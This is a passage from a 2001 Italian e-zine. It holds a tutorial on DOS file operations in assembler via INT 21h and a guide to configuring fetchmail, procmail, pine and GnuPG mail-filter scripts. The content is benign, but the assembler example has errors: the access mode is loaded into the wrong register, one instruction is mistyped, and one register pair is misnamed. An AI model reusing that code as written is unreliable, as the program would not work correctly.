| allora...un salutone va a gioker84, earthone, Net_Digger, bartx, magicnto,    |\
| fabius63                                                                      |\
| (un prete che mi voleva convertire hahahah), feltonspray (nn potevi mancare   |\
| felt! :),                                                                     |\
| HoLaZ, LordMirror, Lord_Goliath, MightyInquisitor, Morning Star ('ciao, sono  |\
| una cozza, anche io ascolto RIN' hahahahahhah), SPYRO (non potevi mankare     |\
| nemmeno tu hih), kEwL`, Odin_Eidolon, Pit, Quasar, [Delilah], X3L4 e Zorks.   |\
| Ciao a tutti quelli che ho dimenticato (nei log del mirc nn c'erano! :)       |\
|                                                                               |\
| byeeeeeee! (ihiih oggi sto proprio male ahhahahah)                            |\
| --                                                                            |\
| BiGAlex                                                                       |\
| E-Mail: totalmeltdown@libero.it                                               |\
| SiTE: bigalex.cjb.net o bigalex.3000.it (il primo ieri nn andava...boh...)    |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [L'APPRENDiSTA STREG0NE]                        #04 - 19/11/2001 |\
| GESTiONE DEi FiLE iN ASSEMBLER                              [bondo] 0x1E/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
|  ============================================================================ |\
|                                                                               |\
|               L' A N G O L O    D E L L A    C U L T U R A                    |\
|                                                                               |\
|                                - - - - - -                                    |\
|                                                                               |\
|                       gestione dei file in assembler                          |\
|                                                                               |\
|                                  by bondo                                     |\
|                                                                               |\
| ============================================================================  |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|               ...liberamente tratto dai miei appunti di sistemi...            |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|  Responsabile di tutte queste belle cosucce che possiamo fare con i file \'e8    |\
|  il nostro caro interrupt 21h.                                                |\
|  Veniamo al succo e vediamo subito le operazioni basilari da compiere sui     |\
|  file.                                                                        |\
|                                                                               |\
|  (nota: questa non \'e8 una guida per imparare l'assembler - richiede un minimo  |\
|  di conoscenza)                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|  * CREAZiONE Di UN FiLE                                                       |\
|  **********************                                                       |\
|                                                                               |\
|       AH = 3Ch                                                                |\
|       CX = attributo                                                          |\
|       DS:DX = offset nomefile                                                 |\
|                                                                               |\
|       In CX mettiamo l'attributo del file da creare, che pu\'f2 essere:          |\
|               0 -> archivio (file normale)                                    |\
|               1 -> sola lettura                                               |\
|               2 -> nascosto                                                   |\
|               4 -> file di sistema                                            |\
|                                                                               |\
|       DS:DX punta a una stringa contenente il nome del file da creare.        |\
|                                                                               |\
|       Come facciamo a sapere se l'operazione si \'e8 conclusa come volevamo?!?!  |\
|       Testiamo il flag di carry.                                              |\
|                                                                               |\
|        CF = 0   \'e8 andato tutto bene                                           |\
|        CF = 1   si \'e8 verificato un errore                                     |\
|                                                                               |\
|               AX contiene il codice d'errore:                                 |\
|                       3 -> path non corretto                                  |\
|                       4 -> non disponibile                                    |\
|                       5 -> accesso negato                                     |\
|                                                                               |\
|  Se il file esiste gi\'e0 viene troncato a null (in pratica, il file \'e8 vuoto).   |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|  Vediamo un esempio veloce di come creare un file.                            |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|  .DATA                                                                        |\
|       nomefile DB "beppe.dat", 0h                                             |\
|  .CODE                                                                        |\
|       MOV AH, 3Ch                                                             |\
|       MOV CX, 00h                                                             |\
|       MOV DX, OFFSET nomefile                                                 |\
|       INT 21h                                                                 |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|  MOV DX, OFFSET nomefile                                                      |\
|  pu\'f2 essere sostituita con                                                    |\
|  LEA DX, nomefile                                                             |\
|                                                                               |\
|  Le due scritture sono esattamente equivalenti. Nel caso non usiate le        |\
|  direttive semplificate siete costretti a utilizzare la seconda istruzione    |\
|  in quanto l'assemblatore non 'capisce' il significato di OFFSET.             |\
|                                                                               |\
|  Adesso verifichiamo anche che tutto si sia concluso come speravamo.          |\
|                                                                               |\
|                                                                               |\
|       ...                                                                     |\
|       INT 21h                                                                 |\
|       JNC corretto                                                            |\
|       ; si \'e8 verificato un errore                                             |\
|  corretto:                                                                    |\
|       ; l'istruzione \'e8 stata eseguita correttamente                           |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|  Subito dopo la chiamata all'int testiamo il carry. Se si \'e8 verificato un     |\
|  errore, ad esempio, potremmo fa stampare una stringa, cos\'ec:                  |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|  .DATA                                                                        |\
|       nomefile DB "beppe.dat", 0h                                             |\
|       errore   DB "Errore!!", 0h                                              |\
|  .CODE                                                                        |\
|       MOV AH, 3Ch             ;apre il file                                   |\
|       MOV CX, 00h                                                             |\
|       MOV DX, OFFSET nomefile                                                 |\
|       INT 21h                                                                 |\
|       JNC file_creato                                                         |\
|       MOV AH, 09h             ;stampa la stringa                              |\
|       MOV DX, OFFSET errore                                                   |\
|       INT 21h                                                                 |\
|       MOV AX, 4C00h           ;torna al dos                                   |\
|       INT 21h                                                                 |\
|                                                                               |\
|  file_creato:                                                                 |\
|  ;...                                                                         |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|  Spero di essere stato chiaro.                                                |\
|  Qua di seguito tutte le altre operazioni che possiamo compiere.              |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|  * APERTURA Di UN FiLE                                                        |\
|  *********************                                                        |\
|                                                                               |\
|       AH = 3Dh                                                                |\
|       AL = metodo d'accesso                                                   |\
|               0 -> sola lettura                                               |\
|               1 -> sola scrittura                                             |\
|               2 -> lettura/scrittura                                          |\
|       DS:DX = offset nomefile                                                 |\
|                                                                               |\
|       CF = 0    AX contiene l'handle del file                                 |\
|       CF = 1    AX contiene il codice d'errore:                               |\
|                       2 -> file non trovato                                   |\
|                       3 -> path non trovato                                   |\
|                       4 -> handle non disponibile                             |\
|                                                                               |\
|                                                                               |\
|  * CHiUSURA Di UN FiLE                                                        |\
|  *********************                                                        |\
|                                                                               |\
|       AH = 3Eh                                                                |\
|       BX = handle del file da chiudere                                        |\
|                                                                               |\
|                                                                               |\
|  * LETTURA DA UN FiLE                                                         |\
|  ********************                                                         |\
|                                                                               |\
|       AH = 3Fh                                                                |\
|       BX = handle del file da cui leggere                                     |\
|       CX = n\'b0 di bytes da leggere                                             |\
|       DS:DX = puntatore al buffer in cui mettere i bytes letti                |\
|                                                                               |\
|       CF = 0    AX = n\'b0 bytes letti                                           |\
|       CF = 1    AX = codice errore                                            |\
|                       5 -> accesso negato                                     |\
|                       6 -> handle non valido                                  |\
|                                                                               |\
|                                                                               |\
|  * SCRiTTURA SU UN FiLE                                                       |\
|  **********************                                                       |\
|                                                                               |\
|       AH = 40h                                                                |\
|       BX = handle del file su cui scrivere                                    |\
|       CX = n\'b0 di bytes da scrivere                                            |\
|       DS:DS = puntatore al buffer che contiene i bytes da scrivere            |\
|                                                                               |\
|       CF = 0    AX = n\'b0 bytes scritti                                         |\
|       CF = 1    AX = codice errore                                            |\
|                                                                               |\
|                                                                               |\
|  * ELiMiNARE UN FiLE                                                          |\
|  *******************                                                          |\
|                                                                               |\
|       AH = 41h                                                                |\
|       DS:DX = puntatore alla stringa che contiene nomefile e path             |\
|                                                                               |\
|       CF = 0    file eliminato                                                |\
|       CF = 1    AX = codice errore                                            |\
|                       2 -> file non trovato                                   |\
|                       5 -> accesso negato                                     |\
|                                                                               |\
|                                                                               |\
|  Fine.                                                                        |\
|  Volete un esempio?!?! Ecco! Il programmino seguente crea un file PLUTO.TXT,  |\
|  lo apre e ci scrive dentro una stringa, poi lo chiude.                       |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|  .286                                                                         |\
|  .MODEL SMALL                                                                 |\
|  .DATA                                                                        |\
|       filepluto       DB "PLUTO.TXT", 0h                                      |\
|       filenncreato    DB "Errore creazione file", 0h                          |\
|       filennaperto    DB "Errore apertura file", 0h                           |\
|       buffer          DB "Buffer dei dati da scrivere.", 0h                   |\
|       buffernnscritto DB "Buffer non scritto.", 0h                            |\
|                                                                               |\
|  .CODE                                                                        |\
|  .STARTUP                                                                     |\
| ;             *** crea PLUTO.TXT ***                                          |\
|       MOV AH, 3Ch                                                             |\
|       MOV CX, 00h                                                             |\
|       MOV DX, OFFSET filepluto                                                |\
|       INT 21h                                                                 |\
|       JNC file_creato                                                         |\
|       MOV AH, 09h                                                             |\
|       MOV DX, OFFSET filenncreato                                             |\
|       INT 21h                                                                 |\
|       JMP fine                                                                |\
|                                                                               |\
|  file_creato:                                                                 |\
| ;             *** apre PLUTO.TXT ***                                          |\
|       MOV AH, 3Dh                                                             |\
|       MOV CX, 01h                                                             |\
|       MOV DX, OFFSET filepluto                                                |\
|       INT 21h                                                                 |\
|       JNC file_aperto                                                         |\
|       MOV AH, 09h                                                             |\
|       MOV DX, OFFSET filennaperto                                             |\
|       INT 21h                                                                 |\
|       JMP fine                                                                |\
|                                                                               |\
|  file_aperto:                                                                 |\
| ;             *** scrivi il path ***                                          |\
|       MOV AH, 40h                                                             |\
|       MOV CX, 29d                     ;bytes da scrivere                      |\
|       MOV DX, OFFSET buffer                                                   |\
|       INT 21h                                                                 |\
|       JNC buffer_scritto                                                      |\
|       MOV AH, 09h                                                             |\
|       MOV DX, OFFSET buffernnscritto                                          |\
|       INT 21h                                                                 |\
|       JMP fine                                                                |\
|                                                                               |\
|  buffer_scritto:                                                              |\
|  ;            *** chiude il file ***                                          |\
|       MOV AH, 3Eh                                                             |\
|        NT 21h                                                                 |\
|                                                                               |\
|  fine:                                                                        |\
|  .EXIT                                                                        |\
|  END                                                                          |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|  * FiLE POiNTER                                                               |\
|  **************                                                               |\
|                                                                               |\
|  Adesso vediamo come spostarci in un file con il file pointer.                |\
|                                                                               |\
|                                                                               |\
|       AH = 42h                                                                |\
|       AL = posizione                                                          |\
|               0 -> inizio (equivale a SEEK_SET del C)                         |\
|               1 -> posizione corrente (SEEK_CUR)                              |\
|               2 -> fine (SEEK_END)                                            |\
|       BX = handle del file                                                    |\
|       CX = MSD dell'offset sul file                                           |\
|       DX = LSD dell'offset sul file                                           |\
|                                                                               |\
|       CF = 0    DX:AX = posizione settata                                     |\
|       CF = 1    AX = codice errore                                            |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|  Funziona esattamente come la funzione fseek del C.                           |\
|  Perch\'e8 l'offset del puntatore occupa 2 registri? Facciamo 2 conticini...     |\
|                                                                               |\
|  con 8 bit possiamo indirizzare 2^8 bytes -> 256 bytes                        |\
|  con 16 bit i bytes indirizzabili sono 2^16 -> 65536 bytes (64k)              |\
|  con 32 bit (i due registri affiancati) possiamo indirizzare 2^32 bytes       |\
| (4.096 mb)                                                                    |\
|                                                                               |\
|  Questo vuol dire che possiamo gestire file grandi fino a 4 giga. Con soli    |\
| 16bit,                                                                        |\
|  la dimensione di un registro, arriveremmo al massimo a 64k di dimensione     |\
| massima                                                                       |\
|  del file gestibile. Per un file da 1mb servono 20bit. Tutto qua.             |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|  ============================================================================ |\
|                                                                               |\
|     bondo  -   bondo@marijuana.com                                            |\
|                                                                               |\
|  ============================================================================ |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [L'APPRENDiSTA STREG0NE]                        #04 - 19/11/2001 |\
| LA DURA ViTA DEi P0STiNi                                   [lesion] 0x1F/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
| **INTRO**                                                                     |\
| Dopo lunghi skleri a configurare fetchmail, pine, procmail, gnupg, sendmail,  |\
| cazzi, mazzi ecc... ho deciso di scrivere un articolo ke aiuti i newbies a    |\
| intrapendere la lunga karriera di postini ke gli si protrarra' nel futuro,    |\
| facendo particolare attenzione all'uso di sistemi di criptazione quali ssl e  |\
| pgp. Naturalmente raccontero' solo le cose ke io ho fatto perke' mi           |\
| sembravano utili oppure perke' mi trovavo bene cosi'.                         |\
| ***************                                                               |\
|                                                                               |\
| **INGREDIENTI**                                                               |\
| pine: www.washington.edu/pine/                                                |\
| fetchmail: www.tuxedo.org/~esr/fetchmail/                                     |\
| openssl (www.openssl.org)                                                     |\
| procmail www.procmail.org)                                                    |\
| gnupg (www.gnupg.org)                                                         |\
| **************************                                                    |\
|                                                                               |\
| **DOVE DOBBIAMO ARRIVARE**                                                    |\
| Alla fine di quest'articolo sarai in grado bene o male di:                    |\
| -mandare e ricevere la posta                                                  |\
| -smistare la posta in varie cartelle                                          |\
| -usare fetchmail anke per protocolli ke supportano ssl                        |\
| -mandare e ricevere email criptate con Gnupg                                  |\
| -fare uno script ke automatizzi il tutto e notifiki                           |\
|  l'arrivo di eventuali email                                                  |\
| *********                                                                     |\
|                                                                               |\
| **TEORY**                                                                     |\
| Se hai installato tutti i programmi sei a cavallo.... Iniziamo col dire ke    |\
| NON ti serve per forza un MTA per ricevere  posta. Un MTA e' un Mail          |\
| Transfer                                                                      |\
| Agent, quei programmi del tipo sendmail, postfix e cmq tutti quei demoni ke   |\
| solitamente ascoltano sulla 25 e aspettano ke qlcno si connetta e con il      |\
| protocollo SMTP mandi  un'email. Molte guide indicano ke bisogna              |\
| utilizzarli,                                                                  |\
| ma noi nn lo  faremo perke' 1)occupiamo meno risorse 2)dovremmo configurarli  |\
| 3)un  servizio in meno da patchare per eventuali bachi. Ora..i programmi      |\
| sopracitati hanno tutti un loro compito specifico. Fetchmail si occupa di     |\
| connettersi al server su cui voi avete la  casella di posta e in base alle    |\
| opzioni ke voi mettete nel file di  configurazione, decide come metterla in   |\
| locale, quindi usa o un MTA  oppure un MDA (Mail Delivery Agent). Un MDA, a   |\
| differenza di un MTA nn sta' in ascolto su una porta, e  quindi viene         |\
| eseguito solamente quando arriva un'email da smistare. L'MDA ke useremo e'    |\
| procmail, ke si occupa oltre di recapitare le  email, anke di suddividerle    |\
| in                                                                            |\
| varie cartelle in base a delle rules  settate da voi nel file di              |\
| configurazione e di molte altre cosette  molto carine ke pero' qui nn         |\
| vedremo. Dopo ke procmail ha salvato su file le email passategli da           |\
| fetchmail, ora ci vuol un programma per leggerle. Questo e' pine (ce ne sono  |\
| molti altri ma come ho detto sopra,  descrivo solo quello ke uso io), un      |\
| client testuale molto intuitivo e  pieno di opzioni, quindi molto             |\
| personalizzabile. L'unica cosa contestabile a pine e' ke nn e' totalmente     |\
| free, e per  cui molte persone preferiscono usare mutt (prima o poi           |\
| cambiero'                                                                     |\
| pure  io :).                                                                  |\
| **************                                                                |\
|                                                                               |\
| **COMINCIAMO**                                                                |\
| Dopo un po' di spiega..ora inizia il bello.                                   |\
| -Configurazione fetchmail:                                                    |\
| Il file di configurazione di fetchmail e' cercato dallo stesso nella  home    |\
| dell'utente ke lo esegue ed ha nome .fetchmailrc (ricordarsi il  punto). La   |\
| sua struttura e' molto semplice:                                              |\
| --------                                                                      |\
| poll POP.TUOPROVIDER.IT proto pop3 user "NOMEUTENTE" password \\               |\
| "TUAPASSWORD"  is "NOMEUSER" here mda "/usr/bin/procmail -d NOMEUSER"         |\
| -------                                                                       |\
| dove POP.TUOPROVIDER.IT e' l'host del tuo provider, ad esempio virgilio.it    |\
| se avete l'email su virgilio, tiscali.it, infostrada.it, tin.it ecc....       |\
| il proto e' il protocollo usato...io uso il pop3 perke' il provider della     |\
| mia casella di posta usa il pop3. Quando vi iscrivete, il  provider vi da'    |\
| le info necessarie..quindi anke il protocollo ke usa, ma se proprio nn ve     |\
| lo ricordate e nn ve lo siete segnato, mettete auto al posto di pop3.         |\
| NOMEUTENTE e' l'user dell'email, quindi se ad esempio avete come  email       |\
| lesion@autistici.org , l'user e' lesion, ovvero la parte prima  della @.      |\
| la PASSWORD e' ovviamente la password e il NOMEUSER e' il nome  dell'utente   |\
| a                                                                             |\
| cui volete venga recapitata la posta. se ad esempio siete nella shell e       |\
| vedete qlcsa tipo                                                             |\
|                                                                               |\
| [lesion@pippo]~$                                                              |\
|                                                                               |\
| vuol dire ke l'utente e' lesion. l'mda abbiamo gia' detto cos'era prima e     |\
| NOMEUSER e' lo stesso di  prima. Con questo...ora quando siamo collegati ad   |\
| internet, se lanciamo  fetchmail, lui controlla se c'e' .fetchmailrc nella    |\
| nostra home, lo  apre, vede dove deve connettersi (e lo fa), vede l'user e    |\
| lo                                                                            |\
| manda, vede la password e la manda, e poi passa tutto a procmail.             |\
|                                                                               |\
| -Configurazione procmail:                                                     |\
| Il file di configurazione di procmail e' .procmailrc e come sopra, deve       |\
| stare                                                                         |\
| nella tua home. Le regole per la sua creazione nn sono semplici come quelle   |\
| di                                                                            |\
| fetchmail, infatti presenta un'infinita' di opzioni e controopzioni ke noi    |\
| nn vedremo.                                                                   |\
| -------                                                                       |\
| MAILDIR=/home/lesion/mail/                                                    |\
| LOGFILE=maillog #solo per le prime volte .. poi levatelo                      |\
|                                                                               |\
| :0                                                                            |\
| * ^Reply-To: underscore_to@ecn.org                                            |\
| Underscore                                                                    |\
|                                                                               |\
| :0                                                                            |\
| * ^Subject: *SPAM*                                                            |\
| /dev/null                                                                     |\
|                                                                               |\
| :0                                                                            |\
| inbox                                                                         |\
|                                                                               |\
| exit                                                                          |\
| --------                                                                      |\
| MAILDIR e' la directory dove verranno conservate le email. Assicuratevi       |\
| della                                                                         |\
| sua esistenza, se nn esiste, createla con  mkdir mail LOGFILE e' un file      |\
| dove                                                                          |\
| vengono memorizzate tutte le operazioni fatte  da procmail quando smista la   |\
| posta, quindi se notate qualke  comportamento strano, trovate email in        |\
| cartelle dove nn dovrebbero  esserci o nn le trovate proprio vuol dire ke     |\
| c'e' qlcsa ke nn va' e  quindi voi controllate questo file. Come da           |\
| commento,                                                                     |\
| usatelo solo le prime volte, poi potete pure levarlo.                         |\
|                                                                               |\
| :0 inserisce una nuova regola.                                                |\
| ^ indica l'inizio di una righa.                                               |\
| La prima regola dice:                                                         |\
|                                                                               |\
| Se all'inizio di una righa degli header trovi la stringa "Reply-To:           |\
| underscore_to@ecn.org" mettimela nella cartella Underscore (ke si  trovera'   |\
| poi in /home/lesion/mail/Underscore). La seconda rules elimina (sposta in     |\
| /dev/null) tutte le email ke  hanno la parola SPAM da qualke parte nel        |\
| subject. L'ultima dice ke tutte le altre vanno messe in inbox. Naturalmente   |\
| potrete fare tutte le rules ke vorrete, e sono molto  comode da utilizzare    |\
| se                                                                            |\
| siete iscritti a molte mailing list come il  sottoscritto.Per + info man      |\
| procmailex(5)                                                                 |\
|                                                                               |\
| -Configurazione pine:                                                         |\
| Pine e' il programma ke utilizzeremo per leggere e spedire email.             |\
| Iniziamo con configurare le opzioni a nostro piacimento.                      |\
| Setup->Config (premete S e C)                                                 |\
|                                                                               |\
| Personale Name:                                                               |\
| lesion                                                                        |\
|                                                                               |\
| User domain:                                                                  |\
| mettete il dominio della vostra email (quello di lesion@autistici.org         |\
| e' autistici.org)                                                             |\
|                                                                               |\
| smtp server: per spedire email avrete bisogno di un server per mandarle. Se   |\
| avete un account tiscali potreste mettere smtp.tiscali.net o cmq l'smtp del   |\
| provider ke vi offre la casella di posta ke sicuramente ne avra' uno.         |\
|                                                                               |\
| nntp-server:                                                                  |\
| lasciamolo stare ... serve per le news...                                     |\
|                                                                               |\
| inbox-path:                                                                   |\
| /home/lesion/mail/inbox                                                       |\
| (ovvero dove procmail mette le email di default)                              |\
|                                                                               |\
| incoming-archive-folders:                                                     |\
| mail/                                                                         |\
| (ovvero dove va' a cercare le cartelle dove vengono messe le email)           |\
|                                                                               |\
| Per ora basta...premiamo E e poi y. Ora dobbiamo creare le eventuali          |\
| cartelle                                                                      |\
| in cui le email verranno smistate..quindi andate su Folder List e aggiungete  |\
| (con A) tutte le cartelle in cui verranno smistati i messaggi. Ricordatevi    |\
| ke                                                                            |\
| linux e' keys-sensitive quindi okkio a minuscole e  maiuscole. Ora possiamo   |\
| finalmente provare il tutto. Usciamo da pine con q e connettetevi. Premete    |\
| fetchmail -vk le vk opzioni servono rispettivamente per:                      |\
| -v verbose mode..ovvero printa su skermo tutto quello ke                      |\
| succede..quindi anke eventuali errori in modo ke sappiate bene o male         |\
| dove avete sbagliato (ad esempio il file di configurazione)                   |\
| -k keep e' consigliato la prima volta ke si prova....pratikamente             |\
| scarica la posta ma nn la elimina dal server...quindi in caso di  problemi    |\
| avrete le copie delle email ancora intatte sulla vostra mailbox. Ora aprite   |\
| di nuovo pine e vedete se vi sono arrivate nuove email. Per la                |\
| configurazione                                                                |\
| di pine vi lascio spaziare...e' molto  configurabile..persino nei colori      |\
| (Setup->Kolor (premere S e K)). Ricordatevi ke ogni rules ke vorrete          |\
| aggiungere in .procmailrc, dovrete prima aggiungere la cartella in pine,      |\
| altrimenti nn andra'  mai un cazzo. Se avete un provider ke supporta il       |\
| protocollo ssl, vi consiglio vivamente di utilizzarlo, basta avviare          |\
| fetchmail con l'opzione --ssl (fetchmail deve essere compilato con ssl        |\
| e quindi dovete avere anke openssl installato da qualke parte).               |\
| **************************************                                        |\
|                                                                               |\
| **Utilizzo di Gnupg per email sicure**                                        |\
| L'utilizzo di Gnupg e' una stronzata da aggiungere a pine. Se siete degli     |\
| c-coder vi potete sbizzarrire alla grande, ma si puo'  benissimo fare il      |\
| tutto in bash-script. Dalla versione 3.92, pine supporta l'uso di filtri per  |\
| le email in  arrivo e per quelle mandate. Noi possiamo sfruttare questa       |\
| possibilita' per criptare i messaggi  con il Gnupg un programma di            |\
| crittografia troppo avanti. Non e' scopo di questo articolo ne' insegnare il  |\
| bash-script, ne' l'utilizzo di Gnupg, altrimenti finiamo domani, e poi devo   |\
| andare a  mangiare, cmq saranno spiegati i fondamenti (minkia gia' 207 righe  |\
| :(). Per attivare i filtri andiamo nuovamente nelle opzioni di pine, e        |\
| andando verso il fondo troviamo display-filters e sending-filters. La prima   |\
| serve per settare le regole con cui visualizzare i messaggi,  mentre la       |\
| seconda serve per quelli in uscita. Premiamo Add Value su display-filters e   |\
| scriviamo:                                                                    |\
|                                                                               |\
| _BEGINNING("-----BEGIN PGP MESS")_ ~/.gnupg/gpgdecrypt                        |\
|                                                                               |\
| praticamente, tutti i messaggi ke all'inizio hanno quella stringa, li  passa  |\
| al programma ke specifikiamo dopo, un programma ke dopo ci  appresteremo a    |\
| fare noi.                                                                     |\
| Sempre in display-filters, mettiamo un'altra voce:                            |\
|                                                                               |\
| _BEGINNING("-----BEGIN PGP SIGN")_ ~/.gnupg/gpgdecrypt                        |\
|                                                                               |\
| ke serve per verificare le firme.                                             |\
| Ora ci spostiamo in sending-filters e mettiamo:                               |\
|                                                                               |\
| ~/.gnupg/gpgencrypt _RECIPIENTS_                                              |\
| ~/.gnupg/gpgsign _RECIPIENTS_                                                 |\
|                                                                               |\
| la prima riga serve per codificare il messaggio, gpgencrypt e' sempre  un     |\
| programma ke faremo noi dopo,e _RECIPIENS_ e' la variabile del                |\
| destinatario,                                                                 |\
| in modo ke gnupg possa identificare la sua public key. gpgsign e' invece un   |\
| prog. ke oltre ke criptare, firma anke digitalmente  il messaggio ke stiamo   |\
| spedendo con la mia secret-key, in modo ke il  destinatario e' sicuro ke      |\
| sono                                                                          |\
| stato io a scriverlo. D'ora in poi, quando spediremo un messaggio con         |\
| pine..potremo farlo  in 3 modi, unfiltered, ovvero con il testo in kiaro,     |\
| gpgsigned quindi  con la nostra firma, in modo ke il destinatario sia sicuro  |\
| ke il  messaggio l'abbiamo scritto proprio noi e gpgencrypt, ovvero           |\
| cryptarlo. Per cambiare modalita' basta premere mentre state mandando il      |\
| messaggio le freccette su' e giu'. Vediamo i semplici script.                 |\
|                                                                               |\
| --gpgencrypt--(cripta)                                                        |\
| #!/bin/bash                                                                   |\
| gpg --encrypt --armor --recipient $1                                          |\
| --------------                                                                |\
|                                                                               |\
| in breve....tutto quello ke arriva dallo stdin (ovvero quello ke gli  passa   |\
| pine quando manda un'email), viene passato a gpg, ke lo cripta  (--encrypt)   |\
| con la kiave pubblica del ricevente (--recipient $1),  dove $1 e' il primo    |\
| argomento passatogli da pine (ovvero il  destinatario o                       |\
| _RECIPIENTS_).L'opzione armor serve per creare un  output in formato ascii,   |\
| in modo ke sia possibile mandarlo.                                            |\
|                                                                               |\
| --gpgsign--(cripta e firma)                                                   |\
| #!/bin/bash                                                                   |\
| gpg -sear $1                                                                  |\
| -----------                                                                   |\
|                                                                               |\
| questo cripta e firma il messaggio ke gli arriva da pine. Ricordo ke per      |\
| verifikare la veridicita' del messaggio il  destinatario deve possedere la    |\
| vostra public key.                                                            |\
| s: sign (firma)                                                               |\
| e: encrypt (cripta)                                                           |\
| a: armor (lo mette in ascii)                                                  |\
| r: recipients (il destinatario)                                               |\
|                                                                               |\
| --gpgdecrypt-- (decripta e verifika le firme)                                 |\
| #!/bin/bash                                                                   |\
| gpg 2> err > out                                                              |\
| if grep "gpg: Signature made" err > /dev/null; then                           |\
|     if grep "gpg: Good signature from" err > /dev/null; then                  |\
|        echo "/-------------\\\\"                                                |\
|        echo "| Firma valida|"                                                 |\
|        echo "\\\\-------------/"                                                |\
|    else                                                                       |\
|        echo "/--------------------\\\\"                                         |\
|        echo "| FIRMA NON VALIDA!! |"                                          |\
|        echo "\\\\--------------------/"                                         |\
|     fi                                                                        |\
| else                                                                          |\
|     echo "/-----------------------\\\\"                                         |\
|     echo "| Messaggio non firmato |"                                          |\
|     echo "\\\\-----------------------/"                                         |\
| fi                                                                            |\
| cat out                                                                       |\
| rm out                                                                        |\
| rm err                                                                        |\
| -----------                                                                   |\
|                                                                               |\
| Se avviamo gpg, di default lui attiva l'opzione --decrypt, quindi  possiamo   |\
| anke tralasciarla. la prima riga quindi, piglia il messaggio criptato ke gli  |\
| arriva da  pine e lo passa a gpg ke provvede a decriptarlo e a verificarne    |\
| eventuali firme. Tutto l'output viene messo in stdout (file descriptor ke     |\
| viene letto  poi da pine per visualizzare il messaggio in kiaro), pero' se    |\
| ci                                                                            |\
| sono  problemi noi nn possiamo vedere niente, quindi redirezioniamo           |\
| l'stderr                                                                      |\
| con 2> su un file ke kiamiamo err, ed il resto su out  (quindi il messaggio   |\
| in kiaro di kui parlavamo prima), in  modo ke potremmo analizzare il suo      |\
| contenuto con un grep. Infatti e' quello ke facciamo,se troviamo una firma    |\
| (Signature made) controlliamo se e' good, quindi valida e printiamo su        |\
| stdout un messaggio ke ce lo dice, altrimenti il messaggio opposto. Infine    |\
| cattiamo il file dove avevamo messo l'output ed eliminiamo i  file ke nn ci   |\
| servono +.                                                                    |\
| *****************************************************                         |\
|                                                                               |\
|                                                                               |\
| **Automizzare lo scaricamento e la notifica di mail**                         |\
| Con l'attuale configurazione, per monitorare l'eventuale arrivo di  email     |\
| dobbiamo premere fetchmail e poi aprire pine, ma visto ke  possiamo           |\
| automatizzare il tutto, perke' nn lo facciamo? Ecco un semplice script in     |\
| bash ke avvierete all'avvio (mettendelo  in .bash_profile se usate bash) per  |\
| stare tranquilli e ricevere la  posta automaticamente (il tutto               |\
| rigorosamente                                                                 |\
| commentato):                                                                  |\
|                                                                               |\
| ---scarica---                                                                 |\
| #!/bin/sh                                                                     |\
| #scrive in un file temporaneo il numero di processi kiamati scarica           |\
| ps -e | grep "scarica" | wc -l > /tmp/numprocscarica                          |\
| #e lo mette dentro la variabile proc.                                         |\
| proc=`cat /tmp/numprocscarica`                                                |\
| #elimina il file temporaneo                                                   |\
| rm /tmp/numprocscarica                                                        |\
| #se il numero di processi e' > di 1                                           |\
| if [ $proc -gt 1 ]  ; then                                                    |\
| #esce                                                                         |\
|     exit                                                                      |\
| fi                                                                            |\
| #altrimenti controlla le email presenti                                       |\
| nummail=`grep "From lesion" /home/lesion/mail/* | wc -l`                      |\
| #loop infinito                                                                |\
| while true ; do                                                               |\
|     #se siamo connessi                                                        |\
|     if `ifconfig | grep "inet addr" | grep -v "127.0.0.1"`; then              |\
| #scarica la posta                                                             |\
| `fetchmail -FK --ssl &> /dev/null`                                            |\
| #controlla di nuovo quante email ci sono                                      |\
| nnummail=`grep "From lesion" /home/lesion/mail/* | wc -l`                     |\
| #e ne sottrae quelle ke avevamo all'inizio                                    |\
| #cosi' sappiamo quello nuove                                                  |\
| new=`perl -e "print($nnummail-$nummail)"`                                     |\
| #e aggiorniamo il valore                                                      |\
| nummail=$nnummail                                                             |\
| #infine facciamo tanti beep quanti le email nuove                             |\
| `beep $new`;                                                                  |\
|     fi                                                                        |\
| #aspetta un minuto per controllare nuovamente se siamo connessi               |\
| #e ripetere il ciclo infinitamente :)                                         |\
| sleep 1;                                                                      |\
| done                                                                          |\
| ------------                                                                  |\
|                                                                               |\
| In sostanza e' un ciclo infinito ke parte solo se e' la prima volta ke viene  |\
| avviato. Controlla se siamo connessi e scarica la posta. Ricordatevi ke la    |\
| stringa "From lesion" e' presente perke' e' la  formattazione ke usa          |\
| procmail                                                                      |\
| con l'opzione -d lesion, se usate altri metodi, sbattetevi a cercare          |\
| stringhe                                                                      |\
| univoke per ogni email. Per fare la sottrazione uso il perl perke' nn         |\
| conosco                                                                       |\
| nessun modo per  farlo in bash (se ne sapete uno saro' grato di ricevere una  |\
| vostra  email). Il programma beep e' un prog. del cazzo di 5 righe fatto in   |\
| c, ke lo  uso per tante piccole cosette. eccolo qui:                          |\
|                                                                               |\
| ---beep.c---                                                                  |\
| #include <stdio.h>                                                            |\
| void main(int argc,char *argv[])\{                                             |\
| int i;                                                                        |\
|     if (argc<2) i=1;                                                          |\
|     else                                                                      |\
|     i=atoi(argv[1]);                                                          |\
|     for (;i!=0;i--)\{                                                          |\
| printf("%c",7);                                                               |\
| fflush(stdout);                                                               |\
| sleep(1);                                                                     |\
|     \}                                                                         |\
